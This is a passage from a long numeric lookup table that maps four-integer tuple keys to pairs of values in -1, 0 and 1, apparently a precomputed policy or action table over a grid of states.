-3, -4): (-1, 1), (9, 27, -3, -3): (-1, 1), (9, 27, -3, -2): (-1, 1), (9, 27, -3, -1): (-1, 1), (9, 27, -3, 0): (0, 1), (9, 27, -3, 1): (0, 1), (9, 27, -3, 2): (0, 1), (9, 27, -3, 3): (0, 0), (9, 27, -3, 4): (0, -1), (9, 27, -3, 5): (-1, 1), (9, 27, -2, -5): (0, 1), (9, 27, -2, -4): (0, 1), (9, 27, -2, -3): (0, 1), (9, 27, -2, -2): (1, 1), (9, 27, -2, -1): (1, 1), (9, 27, -2, 0): (-1, 1), (9, 27, -2, 1): (-1, 1), (9, 27, -2, 2): (-1, 1), (9, 27, -2, 3): (-1, 0), (9, 27, -2, 4): (-1, -1), (9, 27, -2, 5): (-1, -1), (9, 27, -1, -5): (-1, 1), (9, 27, -1, -4): (1, 1), (9, 27, -1, -3): (1, 1), (9, 27, -1, -2): (1, 1), (9, 27, -1, -1): (1, 1), (9, 27, -1, 0): (0, 1), (9, 27, -1, 1): (-1, 1), (9, 27, -1, 2): (-1, 1), (9, 27, -1, 3): (-1, 0), (9, 27, -1, 4): (-1, -1), (9, 27, -1, 5): (-1, -1), (9, 27, 0, -5): (1, 1), (9, 27, 0, -4): (1, 1), (9, 27, 0, -3): (1, 1), (9, 27, 0, -2): (1, 1), (9, 27, 0, -1): (0, 1), (9, 27, 0, 0): (-1, 1), (9, 27, 0, 1): (-1, 1), (9, 27, 0, 2): (-1, 0), (9, 27, 0, 3): (-1, -1), (9, 27, 0, 4): (-1, -1), (9, 27, 0, 5): (-1, 1), (9, 27, 1, -5): (0, 1), (9, 27, 1, -4): (0, 1), (9, 27, 1, -3): (0, 1), (9, 27, 1, -2): (0, 1), (9, 27, 1, -1): (0, 1), (9, 27, 1, 0): (-1, 1), (9, 27, 1, 1): (0, 1), (9, 27, 1, 2): (0, 0), (9, 27, 1, 3): (0, -1), (9, 27, 1, 4): (0, 1), (9, 27, 1, 5): (0, 1), (9, 27, 2, -5): (0, 1), (9, 27, 2, -4): (0, 1), (9, 27, 2, -3): (0, 1), (9, 27, 2, -2): (0, 1), (9, 27, 2, -1): (0, 1), (9, 27, 2, 0): (0, 1), (9, 27, 2, 1): (0, 1), (9, 27, 2, 2): (0, 0), (9, 27, 2, 3): (-1, -1), (9, 27, 2, 4): (0, 1), (9, 27, 2, 5): (0, 1), (9, 27, 3, -5): (0, 1), (9, 27, 3, -4): (0, 1), (9, 27, 3, -3): (0, 1), (9, 27, 3, -2): (0, 1), (9, 27, 3, -1): (0, 1), (9, 27, 3, 0): (0, 1), (9, 27, 3, 1): (0, 1), (9, 27, 3, 2): (0, 0), (9, 27, 3, 3): (-1, -1), (9, 27, 3, 4): (0, 1), (9, 27, 3, 5): (0, 1), (9, 27, 4, -5): (0, 1), (9, 27, 4, -4): (0, 1), (9, 27, 4, -3): (0, 1), (9, 27, 4, -2): (0, 1), (9, 27, 4, -1): (0, 1), (9, 27, 4, 0): (0, 1), (9, 27, 4, 1): (0, 1), (9, 27, 4, 2): (0, 0), (9, 27, 4, 3): (-1, -1), (9, 27, 4, 4): (0, 1), (9, 27, 4, 5): (0, 1), (9, 27, 5, -5): (0, 1), (9, 27, 5, -4): (0, 1), (9, 27, 5, -3): (0, 1), (9, 27, 5, -2): (0, 1), (9, 27, 5, -1): (0, 1), (9, 27, 5, 0): (0, 1), (9, 27, 5, 1): (0, 1), (9, 27, 5, 2): (0, 0), (9, 27, 5, 3): (-1, -1), (9, 27, 5, 4): (0, 1), (9, 27, 5, 5): (0, 1), (9, 28, -5, -5): (0, 1), (9, 28, -5, -4): (0, 1), (9, 28, -5, -3): (0, 1), (9, 28, -5, -2): (0, 1), (9, 28, -5, -1): (0, 1), (9, 28, -5, 0): (0, 1), (9, 28, -5, 1): (0, 1), (9, 28, -5, 2): (0, 1), (9, 28, -5, 3): (0, 1), (9, 28, -5, 4): (0, 0), (9, 28, -5, 5): (-1, -1), (9, 28, -4, -5): (0, 1), (9, 28, -4, -4): (0, 1), (9, 28, -4, -3): (0, 1), (9, 28, -4, -2): (0, 1), (9, 28, -4, -1): (1, 1), (9, 28, -4, 0): (1, 1), (9, 28, -4, 1): (1, 1), (9, 28, -4, 2): (1, 0), (9, 28, -4, 3): (0, 1), (9, 28, -4, 4): (0, 0), (9, 28, -4, 5): (-1, -1), (9, 28, -3, -5): (-1, 1), (9, 28, -3, -4): (-1, 1), (9, 28, -3, -3): (-1, 1), (9, 28, -3, -2): (-1, 1), (9, 28, -3, -1): (0, 1), (9, 28, -3, 0): (0, 1), (9, 28, -3, 1): (0, 1), (9, 28, -3, 2): (0, 0), (9, 28, -3, 3): (-1, 1), (9, 28, -3, 4): (-1, 0), (9, 28, -3, 5): (-1, -1), (9, 28, -2, -5): (0, 1), (9, 28, -2, -4): (0, 1), (9, 28, -2, -3): (0, 1), (9, 28, -2, -2): (1, 1), (9, 28, -2, -1): (-1, 1), (9, 28, -2, 0): (-1, 1), (9, 28, -2, 1): (-1, 1), (9, 28, -2, 2): (-1, 0), (9, 28, -2, 3): (-1, -1), (9, 28, -2, 4): (-1, -1), (9, 28, -2, 5): (-1, 1), (9, 28, -1, -5): (-1, 1), (9, 28, -1, -4): (1, 1), (9, 28, -1, -3): (1, 1), (9, 28, -1, -2): (1, 1), (9, 28, -1, -1): (1, 1), (9, 28, -1, 0): (0, 1), (9, 28, -1, 1): (-1, 1), (9, 28, -1, 2): (-1, 0), (9, 28, -1, 3): (-1, -1), (9, 28, -1, 4): (-1, -1), (9, 28, -1, 5): (-1, -1), (9, 28, 0, -5): (1, 1), (9, 28, 0, -4): (1, 1), (9, 28, 0, -3): (1, 1), (9, 28, 0, -2): (1, 1), (9, 28, 0, -1): (0, 1), (9, 28, 0, 0): (-1, 1), (9, 28, 0, 1): (-1, 1), (9, 28, 0, 2): (-1, 0), (9, 28, 0, 3): (-1, -1), (9, 28, 0, 4): (-1, -1), (9, 28, 0, 5): (-1, -1), (9, 28, 1, -5): (0, 1), (9, 28, 1, -4): (0, 1), (9, 28, 1, -3): (0, 1), (9, 28, 1, -2): (0, 1), (9, 28, 1, -1): (0, 1), (9, 28, 1, 0): (0, 1), (9, 28, 1, 1): (0, 0), (9, 28, 1, 2): (0, -1), (9, 28, 1, 3): (0, 1), (9, 28, 1, 4): (0, 1), (9, 28, 1, 5): (0, 1), (9, 28, 2, -5): (0, 1), (9, 28, 2, -4): (0, 1), (9, 28, 2, -3): (0, 1), (9, 28, 2, -2): (0, 1), (9, 28, 2, -1): (0, 1), (9, 28, 2, 0): (0, 1), (9, 28, 2, 1): (0, 0), (9, 28, 2, 2): (-1, -1), (9, 28, 2, 3): (0, 1), (9, 28, 2, 4): (0, 1), (9, 28, 2, 5): (0, 1), (9, 28, 3, -5): (0, 1), (9, 28, 3, -4): (0, 1), (9, 28, 3, -3): (0, 1), (9, 28, 3, -2): (0, 1), (9, 28, 3, -1): (0, 1), (9, 28, 3, 0): (0, 1), (9, 28, 3, 1): (0, 0), (9, 28, 3, 2): (-1, -1), (9, 28, 3, 3): (0, 1), (9, 28, 3, 4): (0, 1), (9, 28, 3, 5): (0, 1), (9, 28, 4, -5): (0, 1), (9, 28, 4, -4): (0, 1), (9, 28, 4, -3): (0, 1), (9, 28, 4, -2): (0, 1), (9, 28, 4, -1): (0, 1), (9, 28, 4, 0): (0, 1), (9, 28, 4, 1): (0, 0), (9, 28, 4, 2): (-1, -1), (9, 28, 4, 3): (0, 1), (9, 28, 4, 4): (0, 1), (9, 28, 4, 5): (0, 1), (9, 28, 5, -5): (0, 1), (9, 28, 5, -4): (0, 1), (9, 28, 5, -3): (0, 1), (9, 28, 5, -2): (0, 1), (9, 28, 5, -1): (0, 1), (9, 28, 5, 0): (0, 1), (9, 28, 5, 1): (0, 0), (9, 28, 5, 2): (-1, -1), (9, 28, 5, 3): (0, 1), (9, 28, 5, 4): (0, 1), (9, 28, 5, 5): (0, 1), (9, 29, -5, -5): (0, 1), (9, 29, -5, -4): (0, 1), (9, 29, -5, -3): (0, 1), (9, 29, -5, -2): (0, 1), (9, 29, -5, -1): (0, 1), (9, 29, -5, 0): (0, 1), (9, 29, -5, 1): (0, 1), (9, 29, -5, 2): (0, 1), (9, 29, -5, 3): (0, 0), (9, 29, -5, 4): (-1, -1), (9, 29, -5, 5): (0, 1), (9, 29, -4, -5): (0, 1), (9, 29, -4, -4): (0, 1), (9, 29, -4, -3): (0, 1), (9, 29, -4, -2): (0, 1), (9, 29, -4, -1): (1, 1), (9, 29, -4, 0): (1, 1), (9, 29, -4, 1): (1, 1), (9, 29, -4, 2): (0, 1), (9, 29, -4, 3): (0, 0), (9, 29, -4, 4): (-1, -1), (9, 29, -4, 5): (0, 1), (9, 29, -3, -5): (-1, 1), (9, 29, -3, -4): (-1, 1), (9, 29, -3, -3): (-1, 1), (9, 29, -3, -2): (-1, 1), (9, 29, -3, -1): (0, 1), (9, 29, -3, 0): (0, 1), (9, 29, -3, 1): (0, 1), (9, 29, -3, 2): (-1, 1), (9, 29, -3, 3): (-1, 0), (9, 29, -3, 4): (-1, -1), (9, 29, -3, 5): (-1, 1), (9, 29, -2, -5): (0, 1), (9, 29, -2, -4): (0, 1), (9, 29, -2, -3): (0, 1), (9, 29, -2, -2): (1, 1), (9, 29, -2, -1): (-1, 1), (9, 29, -2, 0): (-1, 1), (9, 29, -2, 1): (-1, 1), (9, 29, -2, 2): (-1, 0), (9, 29, -2, 3): (-1, -1), (9, 29, -2, 4): (-1, -1), (9, 29, -2, 5): (-1, 1), (9, 29, -1, -5): (1, 1), (9, 29, -1, -4): (1, 1), (9, 29, -1, -3): (1, 1), (9, 29, -1, -2): (1, 1), (9, 29, -1, -1): (0, 1), (9, 29, -1, 0): (-1, 1), (9, 29, -1, 1): (-1, 1), (9, 29, -1, 2): (-1, 0), (9, 29, -1, 3): (-1, -1), (9, 29, -1, 4): (-1, -1), (9, 29, -1, 5): (-1, 1), (9, 29, 0, -5): (1, 1), (9, 29, 0, -4): (1, 1), (9, 29, 0, -3): (1, 1), (9, 29, 0, -2): (1, 1), (9, 29, 0, -1): (-1, 1), (9, 29, 0, 0): (-1, 1), (9, 29, 0, 1): (-1, 0), (9, 29, 0, 2): (-1, -1), (9, 29, 0, 3): (-1, -1), (9, 29, 0, 4): (-1, -1), (9, 29, 0, 5): (-1, 1), (9, 29, 1, -5): (0, 1), (9, 29, 1, -4): (0, 1), (9, 29, 1, -3): (0, 1), (9, 29, 1, -2): (0, 1), (9, 29, 1, -1): (0, 1), (9, 29, 1, 0): (0, 0), (9, 29, 1, 1): (-1, -1), (9, 29, 1, 2): (0, 1), (9, 29, 1, 3): (0, 1), (9, 29, 1, 4): (0, 1), (9, 29, 1, 5): (0, 1), (9, 29, 2, -5): (0, 1), (9, 29, 2, -4): (0, 1), (9, 29, 2, -3): (0, 1), (9, 29, 2, -2): (0, 1), (9, 29, 2, -1): (0, 1), (9, 29, 2, 0): (0, 0), (9, 29, 2, 1): (-1, -1), (9, 29, 2, 2): (0, 1), (9, 29, 2, 3): (0, 1), (9, 29, 2, 4): (0, 1), (9, 29, 2, 5): (0, 1), (9, 29, 3, -5): (0, 1), (9, 29, 3, -4): (0, 1), (9, 29, 3, -3): (0, 1), (9, 29, 3, -2): (0, 1), (9, 29, 3, -1): (0, 1), (9, 29, 3, 0): (0, 0), (9, 29, 3, 1): (-1, -1), (9, 29, 3, 2): (0, 1), (9, 29, 3, 3): (0, 1), (9, 29, 3, 4): (0, 1), (9, 29, 3, 5): (0, 1), (9, 29, 4, -5): (0, 1), (9, 29, 4, -4): (0, 1), (9, 29, 4, -3): (0, 1), (9, 29, 4, -2): (0, 1), (9, 29, 4, -1): (0, 1), (9, 29, 4, 0): (0, 0), (9, 29, 4, 1): (-1, -1), (9, 29, 4, 2): (0, 1), (9, 29, 4, 3): (0, 1), (9, 29, 4, 4): (0, 1), (9, 29, 4, 5): (0, 1), (9, 29, 5, -5): (0, 1), (9, 29, 5, -4): (0, 1), (9, 29, 5, -3): (0, 1), (9, 29, 5, -2): (0, 1), (9, 29, 5, -1): (0, 1), (9, 29, 5, 0): (0, 0), (9, 29, 5, 1): (-1, -1), (9, 29, 5, 2): (0, 1), (9, 29, 5, 3): (0, 1), (9, 29, 5, 4): (0, 1), (9, 29, 5, 5): (0, 1), (9, 30, -5, -5): (0, 1), (9, 30, -5, -4): (0, 1), (9, 30, -5, -3): (0, 1), (9, 30, -5, -2): (0, 1), (9, 30, -5, -1): (0, 1), (9, 30, -5, 0): (0, 1), (9, 30, -5, 1): (0, 1), (9, 30, -5, 2): (0, 0), (9, 30, -5, 3): (-1, -1), (9, 30, -5, 4): (-1, -1), (9, 30, -5, 5): (0, 1), (9, 30, -4, -5): (0, 1), (9, 30, -4, -4): (0, 1), (9, 30, -4, -3): (0, 1), (9, 30, -4, -2): (1, 1), (9, 30, -4, -1): (1, 1), (9, 30, -4, 0): (1, 1), (9, 30, -4, 1): (0, 1), (9, 30, -4, 2): (0, 0), (9, 30, -4, 3): (-1, -1), (9, 30, -4, 4): (-1, -1), (9, 30, -4, 5): (0, 1), (9, 30, -3, -5): (-1, 1), (9, 30, -3, -4): (-1, 1), (9, 30, -3, -3): (-1, 1), (9, 30, -3, -2): (0, 1), (9, 30, -3, -1): (0, 1), (9, 30, -3, 0): (0, 1), (9, 30, -3, 1): (-1, 1), (9, 30, -3, 2): (-1, 0), (9, 30, -3, 3): (-1, -1), (9, 30, -3, 4): (-1, -1), (9, 30, -3, 5): (-1, 1), (9, 30, -2, -5): (0, 1), (9, 30, -2, -4): (0, 1), (9, 30, -2, -3): (0, 1), (9, 30, -2, -2): (-1, 1), (9, 30, -2, -1): (-1, 1), (9, 30, -2, 0): (-1, 1), (9, 30, -2, 1): (-1, 0), (9, 30, -2, 2): (-1, -1), (9, 30, -2, 3): (-1, -1), (9, 30, -2, 4): (-1, 1), (9, 30, -2, 5): (-1, 1), (9, 30, -1, -5): (-1, 1), (9, 30, -1, -4): (1, 1), (9, 30, -1, -3): (1, 1), (9, 30, -1, -2): (1, 1), (9, 30, -1, -1): (0, 1), (9, 30, -1, 0): (-1, 1), (9, 30, -1, 1): (-1, 0), (9, 30, -1, 2): (-1, -1), (9, 30, -1, 3): (-1, -1), (9, 30, -1, 4): (-1, -1), (9, 30, -1, 5): (-1, 1), (9, 30, 0, -5): (1, 1), (9, 30, 0, -4): (1, 1), (9, 30, 0, -3): (1, 1), (9, 30, 0, -2): (1, 1), (9, 30, 0, -1): (-1, 1), (9, 30, 0, 0): (-1, 1), (9, 30, 0, 1): (-1, 0), (9, 30, 0, 2): (-1, -1), (9, 30, 0, 3): (-1, -1), (9, 30, 0, 4): (-1, -1), (9, 30, 0, 5): (-1, 1), (9, 30, 1, -5): (0, 1), (9, 30, 1, -4): (0, 1), (9, 30, 1, -3): (0, 1), (9, 30, 1, -2): (0, 1), (9, 30, 1, -1): (0, 0), (9, 30, 1, 0): (0, -1), (9, 30, 1, 1): (0, 1), (9, 30, 1, 2): (0, 1), (9, 30, 1, 3): (0, 1), (9, 30, 1, 4): (0, 1), (9, 30, 1, 5): (0, 1), (9, 30, 2, -5): (0, 1), (9, 30, 2, -4): (0, 1), (9, 30, 2, -3): (0, 1), (9, 30, 2, -2): (0, 1), (9, 30, 2, -1): (0, 0), (9, 30, 2, 0): (-1, -1), (9, 30, 2, 1): (0, 1), (9, 30, 2, 2): (0, 1), (9, 30, 2, 3): (0, 1), (9, 30, 2, 4): (0, 1), (9, 30, 2, 5): (0, 1), (9, 30, 3, -5): (0, 1), (9, 30, 3, -4): (0, 1), (9, 30, 3, -3): (0, 1), (9, 30, 3, -2): (0, 1), (9, 30, 3, -1): (0, 0), (9, 30, 3, 0): (-1, -1), (9, 30, 3, 1): (0, 1), (9, 30, 3, 2): (0, 1), (9, 30, 3, 3): (0, 1), (9, 30, 3, 4): (0, 1), (9, 30, 3, 5): (0, 1), (9, 30, 4, -5): (0, 1), (9, 30, 4, -4): (0, 1), (9, 30, 4, -3): (0, 1), (9, 30, 4, -2): (0, 1), (9, 30, 4, -1): (0, 0), (9, 30, 4, 0): (-1, -1), (9, 30, 4, 1): (0, 1), (9, 30, 4, 2): (0, 1), (9, 30, 4, 3): (0, 1), (9, 30, 4, 4): (0, 1), (9, 30, 4, 5): (0, 1), (9, 30, 5, -5): (0, 1), (9, 30, 5, -4): (0, 1), (9, 30, 5, -3): (0, 1), (9, 30, 5, -2): (0, 1), (9, 30, 5, -1): (0, 0), (9, 30, 5, 0): (-1, -1), (9, 30, 5, 1): (0, 1), (9, 30, 5, 2): (0, 1), (9, 30, 5, 3): (0, 1), (9, 30, 5, 4): (0, 1), (9, 30, 5, 5): (0, 1), (9, 31, -5, -5): (0, 1), (9, 31, -5, -4): (0, 1), (9, 31, -5, -3): (0, 1), (9, 31, -5, -2): (0, 1), (9, 31, -5, -1): (0, 1), (9, 31, -5, 0): (0, 1), (9, 31, -5, 1): (0, 1), (9, 31, -5, 2): (0, 0), (9, 31, -5, 3): (-1, -1), (9, 31, -5, 4): (0, 0), (9, 31, -5, 5): (-1, -1), (9, 31, -4, -5): (0, 1), (9, 31, -4, -4): (0, 1), (9, 31, -4, -3): (0, 1), (9, 31, -4, -2): (1, 1), (9, 31, -4, -1): (1, 1), (9, 31, -4, 0): (0, 1), (9, 31, -4, 1): (0, 1), (9, 31, -4, 2): (0, 0), (9, 31, -4, 3): (-1, -1), (9, 31, -4, 4): (0, 0), (9, 31, -4, 5): (-1, -1), (9, 31, -3, -5): (-1, 1), (9, 31, -3, -4): (-1, 1), (9, 31, -3, -3): (-1, 1), (9, 31, -3, -2): (0, 1), (9, 31, -3, -1): (0, 1), (9, 31, -3, 0): (-1, 1), (9, 31, -3, 1): (-1, 1), (9, 31, -3, 2): (-1, 0), (9, 31, -3, 3): (-1, -1), (9, 31, -3, 4): (-1, 0), (9, 31, -3, 5): (-1, -1), (9, 31, -2, -5): (0, 1), (9, 31, -2, -4): (0, 1), (9, 31, -2, -3): (0, 1), (9, 31, -2, -2): (-1, 1), (9, 31, -2, -1): (-1, 1), (9, 31, -2, 0): (-1, 1), (9, 31, -2, 1): (-1, 0), (9, 31, -2, 2): (-1, -1), (9, 31, -2, 3): (-1, -1), (9, 31, -2, 4): (-1, 0), (9, 31, -2, 5): (-1, -1), (9, 31, -1, -5): (-1, 1), (9, 31, -1, -4): (1, 1), (9, 31, -1, -3): (1, 1), (9, 31, -1, -2): (1, 1), (9, 31, -1, -1): (-1, 1), (9, 31, -1, 0): (-1, 1), (9, 31, -1, 1): (-1, 0), (9, 31, -1, 2): (-1, -1), (9, 31, -1, 3): (-1, -1), (9, 31, -1, 4): (-1, 0), (9, 31, -1, 5): (-1, -1), (9, 31, 0, -5): (1, 1), (9, 31, 0, -4): (1, 1), (9, 31, 0, -3): (1, 1), (9, 31, 0, -2): (1, 0), (9, 31, 0, -1): (-1, 1), (9, 31, 0, 0): (-1, 1), (9, 31, 0, 1): (-1, 0), (9, 31, 0, 2): (-1, -1), (9, 31, 0, 3): (-1, -1), (9, 31, 0, 4): (-1, 1), (9, 31, 0, 5): (-1, 1), (9, 31, 1, -5): (0, 1), (9, 31, 1, -4): (0, 1), (9, 31, 1, -3): (0, 1), (9, 31, 1, -2): (0, 0), (9, 31, 1, -1): (0, -1), (9, 31, 1, 0): (0, 1), (9, 31, 1, 1): (0, 1), (9, 31, 1, 2): (0, 1), (9, 31, 1, 3): (0, 1), (9, 31, 1, 4): (0, 1), (9, 31, 1, 5): (0, 1), (9, 31, 2, -5): (0, 1), (9, 31, 2, -4): (0, 1), (9, 31, 2, -3): (0, 1), (9, 31, 2, -2): (0, 0), (9, 31, 2, -1): (-1, -1), (9, 31, 2, 0): (0, 1), (9, 31, 2, 1): (0, 1), (9, 31, 2, 2): (0, 1), (9, 31, 2, 3): (0, 1), (9, 31, 2, 4): (0, 1), (9, 31, 2, 5): (0, 1), (9, 31, 3, -5): (0, 1), (9, 31, 3, -4): (0, 1), (9, 31, 3, -3): (0, 1), (9, 31, 3, -2): (0, 0), (9, 31, 3, -1): (-1, -1), (9, 31, 3, 0): (0, 1), (9, 31, 3, 1): (0, 1), (9, 31, 3, 2): (0, 1), (9, 31, 3, 3): (0, 1), (9, 31, 3, 4): (0, 1), (9, 31, 3, 5): (0, 1), (9, 31, 4, -5): (0, 1), (9, 31, 4, -4): (0, 1), (9, 31, 4, -3): (0, 1), (9, 31, 4, -2): (0, 0), (9, 31, 4, -1): (-1, -1), (9, 31, 4, 0): (0, 1), (9, 31, 4, 1): (0, 1), (9, 31, 4, 2): (0, 1), (9, 31, 4, 3): (0, 1), (9, 31, 4, 4): (0, 1), (9, 31, 4, 5): (0, 1), (9, 31, 5, -5): (0, 1), (9, 31, 5, -4): (0, 1), (9, 31, 5, -3): (0, 1), (9, 31, 5, -2): (0, 0), (9, 31, 5, -1): (-1, -1), (9, 31, 5, 0): (0, 1), (9, 31, 5, 1): (0, 1), (9, 31, 5, 2): (0, 1), (9, 31, 5, 3): (0, 1), (9, 31, 5, 4): (0, 1), (9, 31, 5, 5): (0, 1), (9, 32, -5, -5): (0, 1), (9, 32, -5, -4): (0, 1), (9, 32, -5, -3): (0, 1), (9, 32, -5, -2): (0, 1), (9, 32, -5, -1): (0, 1), (9, 32, -5, 0): (0, 1), (9, 32, -5, 1): (0, 0), (9, 32, -5, 2): (-1, -1), (9, 32, -5, 3): (-1, -1), (9, 32, -5, 4): (-1, -1), (9, 32, -5, 5): (0, 1), (9, 32, -4, -5): (0, 1), (9, 32, -4, -4): (0, 1), (9, 32, -4, -3): (1, 1), (9, 32, -4, -2): (-1, 1), (9, 32, -4, -1): (0, 1), (9, 32, -4, 0): (0, 1), (9, 32, -4, 1): (0, 0), (9, 32, -4, 2): (-1, -1), (9, 32, -4, 3): (-1, -1), (9, 32, -4, 4): (-1, -1), (9, 32, -4, 5): (-1, 1), (9, 32, -3, -5): (-1, 1), (9, 32, -3, -4): (-1, 1), (9, 32, -3, -3): (0, 1), (9, 32, -3, -2): (0, 1), (9, 32, -3, -1): (-1, 1), (9, 32, -3, 0): (-1, 1), (9, 32, -3, 1): (-1, 0), (9, 32, -3, 2): (-1, -1), (9, 32, -3, 3): (-1, -1), (9, 32, -3, 4): (-1, -1), (9, 32, -3, 5): (-1, 1), (9, 32, -2, -5): (0, 1), (9, 32, -2, -4): (0, 1), (9, 32, -2, -3): (-1, 1), (9, 32, -2, -2): (-1, 1), (9, 32, -2, -1): (-1, 1), (9, 32, -2, 0): (-1, 1), (9, 32, -2, 1): (-1, 0), (9, 32, -2, 2): (-1, -1), (9, 32, -2, 3): (-1, 0), (9, 32, -2, 4): (-1, -1), (9, 32, -2, 5): (-1, 1), (9, 32, -1, -5): (1, 1), (9, 32, -1, -4): (1, 1), (9, 32, -1, -3): (1, 1), (9, 32, -1, -2): (-1, 1), (9, 32, -1, -1): (-1, 1), (9, 32, -1, 0): (-1, 0), (9, 32, -1, 1): (-1, -1), (9, 32, -1, 2): (-1, -1), (9, 32, -1, 3): (-1, -1), (9, 32, -1, 4): (-1, -1), (9, 32, -1, 5): (-1, 1), (9, 32, 0, -5): (1, 1), (9, 32, 0, -4): (1, 1), (9, 32, 0, -3): (1, 0), (9, 32, 0, -2): (-1, 1), (9, 32, 0, -1): (-1, 1), (9, 32, 0, 0): (-1, 0), (9, 32, 0, 1): (-1, -1), (9, 32, 0, 2): (-1, -1), (9, 32, 0, 3): (-1, -1), (9, 32, 0, 4): (-1, 1), (9, 32, 0, 5): (-1, 1), (9, 32, 1, -5): (0, 1), (9, 32, 1, -4): (0, 1), (9, 32, 1, -3): (0, 0), (9, 32, 1, -2): (0, -1), (9, 32, 1, -1): (0, 1), (9, 32, 1, 0): (0, 1), (9, 32, 1, 1): (0, 1), (9, 32, 1, 2): (0, 1), (9, 32, 1, 3): (0, 1), (9, 32, 1, 4): (0, 1), (9, 32, 1, 5): (0, 1), (9, 32, 2, -5): (0, 1), (9, 32, 2, -4): (0, 1), (9, 32, 2, -3): (0, 0), (9, 32, 2, -2): (-1, -1), (9, 32, 2, -1): (0, 1), (9, 32, 2, 0): (0, 1), (9, 32, 2, 1): (0, 1), (9, 32, 2, 2): (0, 1), (9, 32, 2, 3): (0, 1), (9, 32, 2, 4): (0, 1), (9, 32, 2, 5): (0, 1), (9, 32, 3, -5): (0, 1), (9, 32, 3, -4): (0, 1), (9, 32, 3, -3): (0, 0), (9, 32, 3, -2): (-1, -1), (9, 32, 3, -1): (0, 1), (9, 32, 3, 0): (0, 1), (9, 32, 3, 1): (0, 1), (9, 32, 3, 2): (0, 1), (9, 32, 3, 3): (0, 1), (9, 32, 3, 4): (0, 1), (9, 32, 3, 5): (0, 1), (9, 32, 4, -5): (0, 1), (9, 32, 4, -4): (0, 1), (9, 32, 4, -3): (0, 0), (9, 32, 4, -2): (-1, -1), (9, 32, 4, -1): (0, 1), (9, 32, 4, 0): (0, 1), (9, 32, 4, 1): (0, 1), (9, 32, 4, 2): (0, 1), (9, 32, 4, 3): (0, 1), (9, 32, 4, 4): (0, 1), (9, 32, 4, 5): (0, 1), (9, 32, 5, -5): (0, 1), (9, 32, 5, -4): (0, 1), (9, 32, 5, -3): (0, 0), (9, 32, 5, -2): (-1, -1), (9, 32, 5, -1): (0, 1), (9, 32, 5, 0): (0, 1), (9, 32, 5, 1): (0, 1), (9, 32, 5, 2): (0, 1), (9, 32, 5, 3): (0, 1), (9, 32, 5, 4): (0, 1), (9, 32, 5, 5): (0, 1), (9, 33, -5, -5): (0, 1), (9, 33, -5, -4): (0, 1), (9, 33, -5, -3): (0, 1), (9, 33, -5, -2): (0, 1), (9, 33, -5, -1): (0, 1), (9, 33, -5, 0): (0, 1), (9, 33, -5, 1): (0, 0), (9, 33, -5, 2): (-1, -1), (9, 33, -5, 3): (-1, -1), (9, 33, -5, 4): (0, 1), (9, 33, -5, 5): (0, 1), (9, 33, -4, -5): (0, 1), (9, 33, -4, -4): (0, 1), (9, 33, -4, -3): (-1, 1), (9, 33, -4, -2): (0, 1), (9, 33, -4, -1): (0, 1), (9, 33, -4, 0): (0, 1), (9, 33, -4, 1): (0, 0), (9, 33, -4, 2): (-1, -1), (9, 33, -4, 3): (-1, -1), (9, 33, -4, 4): (-1, 1), (9, 33, -4, 5): (-1, 1), (9, 33, -3, -5): (-1, 1), (9, 33, -3, -4): (-1, 1), (9, 33, -3, -3): (0, 1), (9, 33, -3, -2): (-1, 1), (9, 33, -3, -1): (-1, 1), (9, 33, -3, 0): (-1, 1), (9, 33, -3, 1): (-1, 0), (9, 33, -3, 2): (-1, -1), (9, 33, -3, 3): (-1, -1), (9, 33, -3, 4): (-1, 1), (9, 33, -3, 5): (-1, 1), (9, 33, -2, -5): (0, 1), (9, 33, -2, -4): (0, 1), (9, 33, -2, -3): (-1, 1), (9, 33, -2, -2): (-1, 1), (9, 33, -2, -1): (-1, 1), (9, 33, -2, 0): (-1, 0), (9, 33, -2, 1): (-1, -1), (9, 33, -2, 2): (-1, -1), (9, 33, -2, 3): (-1, -1), (9, 33, -2, 4): (-1, 1), (9, 33, -2, 5): (-1, 1), (9, 33, -1, -5): (1, 1), (9, 33, -1, -4): (1, 1), (9, 33, -1, -3): (0, 1), (9, 33, -1, -2): (-1, 1), (9, 33, -1, -1): (-1, 1), (9, 33, -1, 0): (-1, 0), (9, 33, -1, 1): (-1, -1), (9, 33, -1, 2): (-1, -1), (9, 33, -1, 3): (-1, -1), (9, 33, -1, 4): (-1, 1), (9, 33, -1, 5): (-1, 1), (9, 33, 0, -5): (1, 1), (9, 33, 0, -4): (1, 0), (9, 33, 0, -3): (1, -1), (9, 33, 0, -2): (-1, 1), (9, 33, 0, -1): (-1, 1), (9, 33, 0, 0): (-1, 0), (9, 33, 0, 1): (-1, -1), (9, 33, 0, 2): (-1, -1), (9, 33, 0, 3): (-1, 1), (9, 33, 0, 4): (-1, 1), (9, 33, 0, 5): (-1, 1), (9, 33, 1, -5): (0, 1), (9, 33, 1, -4): (0, 0), (9, 33, 1, -3): (0, -1), (9, 33, 1, -2): (0, 1), (9, 33, 1, -1): (0, 1), (9, 33, 1, 0): (0, 1), (9, 33, 1, 1): (0, 1), (9, 33, 1, 2): (0, 1), (9, 33, 1, 3): (0, 1), (9, 33, 1, 4): (0, 1), (9, 33, 1, 5): (0, 1), (9, 33, 2, -5): (0, 1), (9, 33, 2, -4): (0, 0), (9, 33, 2, -3): (-1, -1), (9, 33, 2, -2): (0, 1), (9, 33, 2, -1): (0, 1), (9, 33, 2, 0): (0, 1), (9, 33, 2, 1): (0, 1), (9, 33, 2, 2): (0, 1), (9, 33, 2, 3): (0, 1), (9, 33, 2, 4): (0, 1), (9, 33, 2, 5): (0, 1), (9, 33, 3, -5): (0, 1), (9, 33, 3, -4): (0, 0), (9, 33, 3, -3): (-1, -1), (9, 33, 3, -2): (0, 1), (9, 33, 3, -1): (0, 1), (9, 33, 3, 0): (0, 1), (9, 33, 3, 1): (0, 1), (9, 33, 3, 2): (0, 1), (9, 33, 3, 3): (0, 1), (9, 33, 3, 4): (0, 1), (9, 33, 3, 5): (0, 1), (9, 33, 4, -5): (0, 1), (9, 33, 4, -4): (0, 0), (9, 33, 4, -3): (-1, -1), (9, 33, 4, -2): (0, 1), (9, 33, 4, -1): (0, 1), (9, 33, 4, 0): (0, 1), (9, 33, 4, 1): (0, 1), (9, 33, 4, 2): (0, 1), (9, 33, 4, 3): (0, 1), (9, 33, 4, 4): (0, 1), (9, 33, 4, 5): (0, 1), (9, 33, 5, -5): (0, 1), (9, 33, 5, -4): (0, 0), (9, 33, 5, -3): (-1, -1), (9, 33, 5, -2): (0, 1), (9, 33, 5, -1): (0, 1), (9, 33, 5, 0): (0, 